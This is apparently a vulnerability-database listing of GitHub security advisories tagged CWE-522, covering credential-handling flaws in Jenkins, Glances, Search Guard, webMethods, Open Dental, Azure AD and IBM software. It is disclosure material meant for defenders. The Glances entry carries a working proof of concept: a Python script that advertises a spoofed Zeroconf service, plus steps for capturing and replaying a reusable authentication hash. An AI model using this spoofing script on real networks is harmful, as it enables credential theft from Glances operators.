Common Weakness Enumeration

CWE-522

Allowed-with-Review

Insufficiently Protected Credentials

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

1811 vulnerabilities reference this CWE, most recent first.

GHSA-VWX8-QPQH-QWM9

Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2023-10-26 22:46
VLAI
Summary
Jenkins Maven Release Plug-in Plugin stored credentials in plain text
Details

Jenkins Maven Release Plug-in Plugin stored credentials unencrypted in its global configuration file org.jvnet.hudson.plugins.m2release.M2ReleaseBuildWrapper.xml on the Jenkins controller. These credentials could be viewed by users with access to the Jenkins controller file system.

Maven Release Plug-in Plugin now stores credentials encrypted.

Severity
3.3 (Low)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.14.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins.m2release:m2release"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-26T22:46:52Z",
    "nvd_published_at": "2019-07-31T13:15:00Z",
    "severity": "LOW"
  },
  "details": "Jenkins Maven Release Plug-in Plugin stored credentials unencrypted in its global configuration file `org.jvnet.hudson.plugins.m2release.M2ReleaseBuildWrapper.xml` on the Jenkins controller. These credentials could be viewed by users with access to the Jenkins controller file system.\n\nMaven Release Plug-in Plugin now stores credentials encrypted.",
  "id": "GHSA-vwx8-qpqh-qwm9",
  "modified": "2023-10-26T22:46:52Z",
  "published": "2022-05-24T16:51:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10361"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/m2release-plugin/commit/a2e7f2bb82640a9d3641265a19c86ba141a7e79c"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-07-31/#SECURITY-1435"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/07/31/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Maven Release Plug-in Plugin stored credentials in plain text"
}

GHSA-VX5F-957P-QPVM

Vulnerability from github – Published: 2026-03-16 16:36 – Updated: 2026-03-18 21:48
VLAI
Summary
Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers
Details

Summary

In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global [passwords] default credential.

An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.

Details

Dynamic server discovery keeps both a short name and a separate ip:

# glances/servers_list_dynamic.py:56-61
def add_server(self, name, ip, port, protocol='rpc'):
    new_server = {
        'key': name,
        'name': name.split(':')[0],  # Short name
        'ip': ip,  # IP address seen by the client
        'port': port,
        ...
        'type': 'DYNAMIC',
    }

The Zeroconf listener populates those fields directly from the service advertisement:

# glances/servers_list_dynamic.py:112-121
new_server_ip = socket.inet_ntoa(address)
new_server_port = info.port
...
self.servers.add_server(
    srv_name,
    new_server_ip,
    new_server_port,
    protocol=new_server_protocol,
)

However, the Central Browser connection logic ignores server['ip'] and instead uses the untrusted advertised server['name'] for both password lookup and the destination URI:

# glances/servers_list.py:119-130
def get_uri(self, server):
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self.password.get_password(server['name'])
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        uri = 'http://{}:{}@{}:{}'.format(
            server['username'],
            server['password'],
            server['name'],
            server['port'],
        )
    else:
        uri = 'http://{}:{}'.format(server['name'], server['port'])
    return uri

That URI is used automatically by the background polling thread:

# glances/servers_list.py:141-143
def __update_stats(self, server):
    server['uri'] = self.get_uri(server)

The password lookup itself falls back to the global default password when there is no exact match:

# glances/password_list.py:45-58
def get_password(self, host=None):
    ...
    try:
        return self._password_dict[host]
    except (KeyError, TypeError):
        try:
            return self._password_dict['default']
        except (KeyError, TypeError):
            return None

The sample configuration explicitly supports that default credential reuse:

# conf/glances.conf:656-663
[passwords]
# Define the passwords list related to the [serverlist] section
# ...
#default=defaultpassword

The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:

# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash

# glances/client.py:55-57
if args.password != "":
    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'

There is an inconsistent trust boundary in the interactive browser code as well:

  • glances/client_browser.py:44 opens the REST/WebUI target via webbrowser.open(self.servers_list.get_uri(server)), which again trusts server['name']
  • glances/client_browser.py:55 fetches saved passwords with self.servers_list.password.get_password(server['name'])
  • glances/client_browser.py:76 uses server['ip'] for the RPC client connection

That asymmetry shows the intended safe destination (ip) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.

Exploit Flow

  1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in [passwords] (especially default=...).
  2. An attacker on the same multicast domain advertises a fake _glances._tcp.local. service with an attacker-controlled service name.
  3. Glances stores the discovered server as {'name': <advertised-name>, 'ip': <discovered-ip>, ...}.
  4. The background stats refresh calls get_uri(server).
  5. Once the fake server causes the entry to become PROTECTED, get_uri() looks up a saved password by the attacker-controlled name, falls back to default if present, hashes it, and builds http://username:hash@<advertised-name>:<port>.
  6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.

PoC

Step 1: Verified local logic proof

The following command executes the real glances/servers_list.py get_uri() implementation (with unrelated imports stubbed out) and demonstrates that:

  • password lookup happens against server['name'], not server['ip']
  • the generated credential-bearing URI uses server['name'], not server['ip']
cd D:\bugcrowd\glances\repo
@'
import importlib.util
import sys
import types
from pathlib import Path

pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg

client_mod = types.ModuleType('glances.client')
class GlancesClientTransport: pass
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod

globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = lambda x: x
sys.modules['glances.globals'] = globals_mod

logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
    debug=lambda *a, **k: None,
    warning=lambda *a, **k: None,
    info=lambda *a, **k: None,
    error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod

password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod

dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod

static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod

spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList

class FakePassword:
    def get_password(self, host=None):
        print(f'lookup:{host}')
        return 'defaultpassword'
    def get_hash(self, password):
        return f'hash({password})'

sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
server = {
    'name': 'trusted-host',
    'ip': '203.0.113.77',
    'port': 61209,
    'username': 'glances',
    'password': None,
    'status': 'PROTECTED',
    'type': 'DYNAMIC',
}

print(sl.get_uri(server))
print(server)
'@ | python -

Verified output:

lookup:trusted-host
http://glances:hash(defaultpassword)@trusted-host:61209
{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}

This confirms the code path binds credentials to the advertised name and ignores the discovered ip.

Step 2: Live network reproduction

  1. Configure a reusable browser password:
# glances.conf
[passwords]
default=SuperSecretBrowserPassword
  1. Start Glances in Central Browser mode on the victim machine:
glances --browser -C ./glances.conf
  1. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes PROTECTED:
from zeroconf import ServiceInfo, Zeroconf
import socket
import time

zc = Zeroconf()
info = ServiceInfo(
    "_glances._tcp.local.",
    "198.51.100.50:61209._glances._tcp.local.",
    addresses=[socket.inet_aton("198.51.100.50")],
    port=61209,
    properties={b"protocol": b"rpc"},
    server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)
  1. On the next Central Browser refresh, Glances first probes the fake server, marks it PROTECTED, then retries with:
http://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209
  1. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.

Impact

  • Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
  • Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
  • REST/WebUI click-through abuse: For REST servers, webbrowser.open(self.servers_list.get_uri(server)) can open attacker-controlled URLs with embedded credentials.
  • No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked PROTECTED.
  • Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.

Recommended Fix

Use the discovered ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.

# glances/servers_list.py

def _get_connect_host(self, server):
    if server.get('type') == 'DYNAMIC':
        return server['ip']
    return server['name']

def _get_preconfigured_password(self, server):
    # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds
    if server.get('type') == 'DYNAMIC':
        return None
    return self.password.get_password(server['name'])

def get_uri(self, server):
    host = self._get_connect_host(server)
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self._get_preconfigured_password(server)
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])
    return 'http://{}:{}'.format(host, server['port'])

And use the same _get_preconfigured_password() logic in glances/client_browser.py instead of calling self.servers_list.password.get_password(server['name']) directly.

Severity
8.1 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:36:06Z",
    "nvd_published_at": "2026-03-18T18:16:29Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential.\n\nAn attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.\n\n## Details\n\nDynamic server discovery keeps both a short `name` and a separate `ip`:\n\n```python\n# glances/servers_list_dynamic.py:56-61\ndef add_server(self, name, ip, port, protocol=\u0027rpc\u0027):\n    new_server = {\n        \u0027key\u0027: name,\n        \u0027name\u0027: name.split(\u0027:\u0027)[0],  # Short name\n        \u0027ip\u0027: ip,  # IP address seen by the client\n        \u0027port\u0027: port,\n        ...\n        \u0027type\u0027: \u0027DYNAMIC\u0027,\n    }\n```\n\nThe Zeroconf listener populates those fields directly from the service advertisement:\n\n```python\n# glances/servers_list_dynamic.py:112-121\nnew_server_ip = socket.inet_ntoa(address)\nnew_server_port = info.port\n...\nself.servers.add_server(\n    srv_name,\n    new_server_ip,\n    new_server_port,\n    protocol=new_server_protocol,\n)\n```\n\nHowever, the Central Browser connection logic ignores `server[\u0027ip\u0027]` and instead uses the untrusted advertised `server[\u0027name\u0027]` for both password lookup and the destination URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n    if server[\u0027password\u0027] != \"\":\n        if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n            clear_password = self.password.get_password(server[\u0027name\u0027])\n            if clear_password is not None:\n                server[\u0027password\u0027] = self.password.get_hash(clear_password)\n        uri = \u0027http://{}:{}@{}:{}\u0027.format(\n            server[\u0027username\u0027],\n            server[\u0027password\u0027],\n            server[\u0027name\u0027],\n            server[\u0027port\u0027],\n        )\n    else:\n        uri = \u0027http://{}:{}\u0027.format(server[\u0027name\u0027], server[\u0027port\u0027])\n    return uri\n```\n\nThat URI is used automatically by the background polling thread:\n\n```python\n# glances/servers_list.py:141-143\ndef __update_stats(self, server):\n    server[\u0027uri\u0027] = self.get_uri(server)\n```\n\nThe password lookup itself falls back to the global default password when there is no exact match:\n\n```python\n# glances/password_list.py:45-58\ndef get_password(self, host=None):\n    ...\n    try:\n        return self._password_dict[host]\n    except (KeyError, TypeError):\n        try:\n            return self._password_dict[\u0027default\u0027]\n        except (KeyError, TypeError):\n            return None\n```\n\nThe sample configuration explicitly supports that `default` credential reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# ...\n#default=defaultpassword\n```\n\nThe secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:55-57\nif args.password != \"\":\n    self.uri = f\u0027http://{args.username}:{args.password}@{args.client}:{args.port}\u0027\n```\n\nThere is an inconsistent trust boundary in the interactive browser code as well:\n\n- `glances/client_browser.py:44` opens the REST/WebUI target via `webbrowser.open(self.servers_list.get_uri(server))`, which again trusts `server[\u0027name\u0027]`\n- `glances/client_browser.py:55` fetches saved passwords with `self.servers_list.password.get_password(server[\u0027name\u0027])`\n- `glances/client_browser.py:76` uses `server[\u0027ip\u0027]` for the RPC client connection\n\nThat asymmetry shows the intended safe destination (`ip`) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.\n\n### Exploit Flow\n\n1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in `[passwords]` (especially `default=...`).\n2. An attacker on the same multicast domain advertises a fake `_glances._tcp.local.` service with an attacker-controlled service name.\n3. Glances stores the discovered server as `{\u0027name\u0027: \u003cadvertised-name\u003e, \u0027ip\u0027: \u003cdiscovered-ip\u003e, ...}`.\n4. The background stats refresh calls `get_uri(server)`.\n5. Once the fake server causes the entry to become `PROTECTED`, `get_uri()` looks up a saved password by the attacker-controlled `name`, falls back to `default` if present, hashes it, and builds `http://username:hash@\u003cadvertised-name\u003e:\u003cport\u003e`.\n6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.\n\n## PoC\n\n### Step 1: Verified local logic proof\n\nThe following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that:\n\n- password lookup happens against `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n- the generated credential-bearing URI uses `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@\u0027\nimport importlib.util\nimport sys\nimport types\nfrom pathlib import Path\n\npkg = types.ModuleType(\u0027glances\u0027)\npkg.__apiversion__ = \u00274\u0027\nsys.modules[\u0027glances\u0027] = pkg\n\nclient_mod = types.ModuleType(\u0027glances.client\u0027)\nclass GlancesClientTransport: pass\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules[\u0027glances.client\u0027] = client_mod\n\nglobals_mod = types.ModuleType(\u0027glances.globals\u0027)\nglobals_mod.json_loads = lambda x: x\nsys.modules[\u0027glances.globals\u0027] = globals_mod\n\nlogger_mod = types.ModuleType(\u0027glances.logger\u0027)\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules[\u0027glances.logger\u0027] = logger_mod\n\npassword_list_mod = types.ModuleType(\u0027glances.password_list\u0027)\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules[\u0027glances.password_list\u0027] = password_list_mod\n\ndynamic_mod = types.ModuleType(\u0027glances.servers_list_dynamic\u0027)\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules[\u0027glances.servers_list_dynamic\u0027] = dynamic_mod\n\nstatic_mod = types.ModuleType(\u0027glances.servers_list_static\u0027)\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules[\u0027glances.servers_list_static\u0027] = static_mod\n\nspec = importlib.util.spec_from_file_location(\u0027tested_servers_list\u0027, Path(\u0027glances/servers_list.py\u0027))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass FakePassword:\n    def get_password(self, host=None):\n        print(f\u0027lookup:{host}\u0027)\n        return \u0027defaultpassword\u0027\n    def get_hash(self, password):\n        return f\u0027hash({password})\u0027\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nserver = {\n    \u0027name\u0027: \u0027trusted-host\u0027,\n    \u0027ip\u0027: \u0027203.0.113.77\u0027,\n    \u0027port\u0027: 61209,\n    \u0027username\u0027: \u0027glances\u0027,\n    \u0027password\u0027: None,\n    \u0027status\u0027: \u0027PROTECTED\u0027,\n    \u0027type\u0027: \u0027DYNAMIC\u0027,\n}\n\nprint(sl.get_uri(server))\nprint(server)\n\u0027@ | python -\n```\n\nVerified output:\n\n```text\nlookup:trusted-host\nhttp://glances:hash(defaultpassword)@trusted-host:61209\n{\u0027name\u0027: \u0027trusted-host\u0027, \u0027ip\u0027: \u0027203.0.113.77\u0027, \u0027port\u0027: 61209, \u0027username\u0027: \u0027glances\u0027, \u0027password\u0027: \u0027hash(defaultpassword)\u0027, \u0027status\u0027: \u0027PROTECTED\u0027, \u0027type\u0027: \u0027DYNAMIC\u0027}\n```\n\nThis confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`.\n\n### Step 2: Live network reproduction\n\n1. Configure a reusable browser password:\n\n```ini\n# glances.conf\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start Glances in Central Browser mode on the victim machine:\n\n```bash\nglances --browser -C ./glances.conf\n```\n\n3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`:\n\n```python\nfrom zeroconf import ServiceInfo, Zeroconf\nimport socket\nimport time\n\nzc = Zeroconf()\ninfo = ServiceInfo(\n    \"_glances._tcp.local.\",\n    \"198.51.100.50:61209._glances._tcp.local.\",\n    addresses=[socket.inet_aton(\"198.51.100.50\")],\n    port=61209,\n    properties={b\"protocol\": b\"rpc\"},\n    server=\"ignored.local.\",\n)\nzc.register_service(info)\ntime.sleep(600)\n```\n\n4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with:\n\n```text\nhttp://glances:\u003cpbkdf2_hash_of_default_password\u003e@198.51.100.50:61209\n```\n\n5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.\n\n## Impact\n\n- **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.\n- **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.\n- **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials.\n- **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`.\n- **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.\n\n## Recommended Fix\n\nUse the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.\n\n```python\n# glances/servers_list.py\n\ndef _get_connect_host(self, server):\n    if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n        return server[\u0027ip\u0027]\n    return server[\u0027name\u0027]\n\ndef _get_preconfigured_password(self, server):\n    # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds\n    if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n        return None\n    return self.password.get_password(server[\u0027name\u0027])\n\ndef get_uri(self, server):\n    host = self._get_connect_host(server)\n    if server[\u0027password\u0027] != \"\":\n        if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n            clear_password = self._get_preconfigured_password(server)\n            if clear_password is not None:\n                server[\u0027password\u0027] = self.password.get_hash(clear_password)\n        return \u0027http://{}:{}@{}:{}\u0027.format(server[\u0027username\u0027], server[\u0027password\u0027], host, server[\u0027port\u0027])\n    return \u0027http://{}:{}\u0027.format(host, server[\u0027port\u0027])\n```\n\nAnd use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server[\u0027name\u0027])` directly.",
  "id": "GHSA-vx5f-957p-qpvm",
  "modified": "2026-03-18T21:48:54Z",
  "published": "2026-03-16T16:36:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32634"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers"
}

GHSA-VX77-83RF-GFVG

Vulnerability from github – Published: 2026-03-31 18:31 – Updated: 2026-03-31 18:31
VLAI
Details

In Search Guard FLX versions from 1.0.0 up to 4.0.1, the audit logging feature might log user credentials from users logging into Kibana.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-31T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "In Search Guard FLX versions from 1.0.0 up to 4.0.1, the audit logging feature might log user credentials from users logging into Kibana.",
  "id": "GHSA-vx77-83rf-gfvg",
  "modified": "2026-03-31T18:31:31Z",
  "published": "2026-03-31T18:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4819"
    },
    {
      "type": "WEB",
      "url": "https://docs.search-guard.com/latest/changelog-searchguard-flx-4_1_0"
    },
    {
      "type": "WEB",
      "url": "https://search-guard.com/cve-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VXF4-HR69-67W5

Vulnerability from github – Published: 2025-01-30 00:31 – Updated: 2025-01-31 21:32
VLAI
Details

The /WmAdmin/,/invoke/vm.server/login login page in the Integration Server in Software AG webMethods 10.15.0 before Core_Fix7 allows remote attackers to reach the administration panel and discover hostname and version information by sending an arbitrary username and a blank password to the /WmAdmin/#/login/ URI.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-23733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-29T22:15:28Z",
    "severity": "HIGH"
  },
  "details": "The /WmAdmin/,/invoke/vm.server/login login page in the Integration Server in Software AG webMethods 10.15.0 before Core_Fix7 allows remote attackers to reach the administration panel and discover hostname and version information by sending an arbitrary username and a blank password to the /WmAdmin/#/login/ URI.",
  "id": "GHSA-vxf4-hr69-67w5",
  "modified": "2025-01-31T21:32:46Z",
  "published": "2025-01-30T00:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23733"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ekcrsm/CVE-2024-23733/tree/main"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VXH8-H4FX-WWHC

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34
VLAI
Details

Open Dental before version 18.4 stores user passwords as base64 encoded MD5 hashes.

Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-15717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-12T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Open Dental before version 18.4 stores user passwords as base64 encoded MD5 hashes.",
  "id": "GHSA-vxh8-h4fx-wwhc",
  "modified": "2022-05-13T01:34:10Z",
  "published": "2022-05-13T01:34:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15717"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2018-44"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VXJX-P5M9-Q5FR

Vulnerability from github – Published: 2021-11-25 00:00 – Updated: 2022-07-13 00:01
VLAI
Details

Azure Active Directory Information Disclosure Vulnerability

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-42306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-24T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Azure Active Directory Information Disclosure Vulnerability",
  "id": "GHSA-vxjx-p5m9-q5fr",
  "modified": "2022-07-13T00:01:42Z",
  "published": "2021-11-25T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42306"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42306"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W223-CX42-24C9

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15
VLAI
Details

IBM Jazz for Service Management and IBM Tivoli Netcool/OMNIbus_GUI 8.1.0 stores user credentials in plain clear text which can be read by an authenticated admin user. IBM X-Force ID: 204329.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-29811"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-20T17:15:00Z",
    "severity": "MODERATE"
  },
